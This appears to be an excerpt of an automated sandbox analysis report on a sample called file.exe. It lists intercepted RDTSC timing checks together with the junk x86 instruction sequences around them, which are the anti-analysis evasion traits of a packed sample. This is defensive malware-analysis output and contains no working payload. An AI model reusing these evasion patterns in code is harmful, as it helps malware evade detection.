                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 6315B3 second address: 6315C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push edi 0x0000000d pop edi 0x0000000e rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 6315C1 second address: 6315C5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 6315C5 second address: 6315DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jmp 00007F5A147D6A2Ah 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 6315DA second address: 6315DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 631790 second address: 6317B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F5A147D6A26h 0x0000000a push eax 0x0000000b push edx 0x0000000c jne 00007F5A147D6A26h 0x00000012 jmp 00007F5A147D6A35h 0x00000017 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5E0DE5 second address: 5E0E08 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 ja 00007F5A14B6C836h 0x00000009 jmp 00007F5A14B6C842h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5E0E08 second address: 5E0E0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5E0ECD second address: 5E0ED2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5E0ED2 second address: 5E0ED7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 631A44 second address: 631A49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 631B9F second address: 631BA5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 631BA5 second address: 631BAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 631BAB second address: 631BD6 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F5A147D6A3Ch 0x00000008 jmp 00007F5A147D6A34h 0x0000000d pushad 0x0000000e popad 0x0000000f push esi 0x00000010 pushad 0x00000011 popad 0x00000012 push esi 0x00000013 pop esi 0x00000014 pop esi 0x00000015 pop edx 0x00000016 pop eax 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 631BD6 second address: 631BDC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 631BDC second address: 631BF0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jbe 00007F5A147D6A26h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e js 00007F5A147D6A26h 0x00000014 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 635BE4 second address: 635BF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F5A14B6C836h 0x0000000a popad 0x0000000b push edi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 6352DD second address: 6352E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop esi 0x00000007 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 6352E4 second address: 635336 instructions: 0x00000000 rdtsc 0x00000002 js 00007F5A14B6C84Bh 0x00000008 jmp 00007F5A14B6C843h 0x0000000d pushad 0x0000000e popad 0x0000000f jmp 00007F5A14B6C843h 0x00000014 pop edx 0x00000015 pop eax 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 jnc 00007F5A14B6C836h 0x0000001f je 00007F5A14B6C836h 0x00000025 popad 0x00000026 pushad 0x00000027 jl 00007F5A14B6C836h 0x0000002d push esi 0x0000002e pop esi 0x0000002f js 00007F5A14B6C836h 0x00000035 popad 0x00000036 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 635622 second address: 635630 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F5A147D6A26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 635630 second address: 635651 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5A14B6C847h 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 635651 second address: 635663 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push edx 0x00000008 jl 00007F5A147D6A2Eh 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 63590C second address: 635910 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 635910 second address: 635918 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 635918 second address: 635935 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F5A14B6C843h 0x00000008 je 00007F5A14B6C83Ch 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 635935 second address: 63594A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 jmp 00007F5A147D6A2Bh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 63594A second address: 635970 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F5A14B6C847h 0x0000000a js 00007F5A14B6C83Eh 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 63DF3C second address: 63DF40 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 63C293 second address: 63C297 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 63C297 second address: 63C2C8 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F5A147D6A26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edx 0x0000000b jbe 00007F5A147D6A26h 0x00000011 jmp 00007F5A147D6A36h 0x00000016 pop edx 0x00000017 push ebx 0x00000018 je 00007F5A147D6A26h 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 63C86E second address: 63C872 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 63C872 second address: 63C87C instructions: 0x00000000 rdtsc 0x00000002 jne 00007F5A147D6A26h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 63C87C second address: 63C882 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 63D0D4 second address: 63D0EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F5A147D6A2Dh 0x0000000c push eax 0x0000000d pop eax 0x0000000e rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 63D0EA second address: 63D0F0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 63D0F0 second address: 63D0F5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 63D3E9 second address: 63D3ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 63D998 second address: 63D9A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jc 00007F5A147D6A2Ch 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 63DC65 second address: 63DC7D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F5A14B6C843h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 64364D second address: 643652 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 643652 second address: 643667 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F5A14B6C836h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f jo 00007F5A14B6C836h 0x00000015 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 6469EE second address: 6469F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 646CA8 second address: 646CBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 jmp 00007F5A14B6C83Fh 0x0000000b popad 0x0000000c rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 646CBE second address: 646CE7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5A147D6A33h 0x00000007 je 00007F5A147D6A38h 0x0000000d jmp 00007F5A147D6A2Ch 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 646E8A second address: 646E94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 646E94 second address: 646E99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 64F6B9 second address: 64F6D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F5A14B6C836h 0x0000000a pop esi 0x0000000b push eax 0x0000000c push edx 0x0000000d jno 00007F5A14B6C836h 0x00000013 jp 00007F5A14B6C836h 0x00000019 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 64F6D2 second address: 64F6F6 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F5A147D6A26h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop ecx 0x0000000d push edx 0x0000000e jmp 00007F5A147D6A33h 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 64F9DD second address: 64F9EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F5A14B6C836h 0x0000000a jnc 00007F5A14B6C836h 0x00000010 popad 0x00000011 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 64FCC2 second address: 64FCC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 64FCC7 second address: 64FCDF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5A14B6C844h 0x00000009 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 650246 second address: 650263 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F5A147D6A26h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F5A147D6A2Ah 0x00000012 jng 00007F5A147D6A26h 0x00000018 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 650263 second address: 650269 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 650269 second address: 650272 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 650272 second address: 6502A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jnc 00007F5A14B6C836h 0x0000000c popad 0x0000000d jbe 00007F5A14B6C854h 0x00000013 popad 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 6502A9 second address: 6502CA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5A147D6A37h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 6502CA second address: 6502E4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F5A14B6C840h 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 6503F9 second address: 6503FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 6503FD second address: 65041A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5A14B6C843h 0x00000007 jnp 00007F5A14B6C836h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 65041A second address: 65041F instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 65041F second address: 65042C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jo 00007F5A14B6C83Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 650B87 second address: 650B99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5A147D6A2Eh 0x00000009 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 656BD8 second address: 656BE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jnc 00007F5A14B6C836h 0x0000000c rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 656D3F second address: 656D4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 pushad 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 656D4B second address: 656D6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5A14B6C83Ah 0x00000009 jmp 00007F5A14B6C83Fh 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 656D6D second address: 656D7A instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push edi 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 667A43 second address: 667A47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 667A47 second address: 667A72 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5A147D6A34h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F5A147D6A30h 0x0000000e push ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 669D12 second address: 669D18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 669D18 second address: 669D1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 669D1C second address: 669D20 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 66B7F7 second address: 66B80A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jp 00007F5A147D6A32h 0x0000000b jp 00007F5A147D6A26h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 66B80A second address: 66B820 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 pushad 0x00000007 jmp 00007F5A14B6C83Dh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 66B820 second address: 66B849 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 jmp 00007F5A147D6A30h 0x0000000d jmp 00007F5A147D6A2Dh 0x00000012 popad 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 66B849 second address: 66B855 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F5A14B6C836h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 66B855 second address: 66B874 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 jmp 00007F5A147D6A33h 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 66B66D second address: 66B671 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 671F61 second address: 671F6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 671F6B second address: 671F6F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 6735C4 second address: 6735D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F5A147D6A26h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 6735D0 second address: 6735D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 67BFE0 second address: 67BFF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5A147D6A2Fh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 67DF3D second address: 67DF44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ecx 0x00000007 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 67DE13 second address: 67DE18 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 688440 second address: 688448 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 688448 second address: 688471 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 pushad 0x00000006 popad 0x00000007 jmp 00007F5A147D6A35h 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push edi 0x00000012 ja 00007F5A147D6A26h 0x00000018 pop edi 0x00000019 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 688471 second address: 688476 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 688476 second address: 68847C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 68870A second address: 68871D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jno 00007F5A14B6C836h 0x00000009 jnp 00007F5A14B6C836h 0x0000000f push edx 0x00000010 pop edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 68871D second address: 688735 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 pushad 0x00000009 jmp 00007F5A147D6A2Bh 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 688A30 second address: 688A3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F5A14B6C836h 0x0000000a popad 0x0000000b rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 688A3B second address: 688A57 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 jmp 00007F5A147D6A36h 0x0000000b rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 688A57 second address: 688A61 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 688BDD second address: 688BE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 68D755 second address: 68D765 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jns 00007F5A14B6C836h 0x00000010 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 68D765 second address: 68D769 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 68D769 second address: 68D76F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 68D76F second address: 68D777 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 rdtsc
                    Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 68D2BC second address: 68D2C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
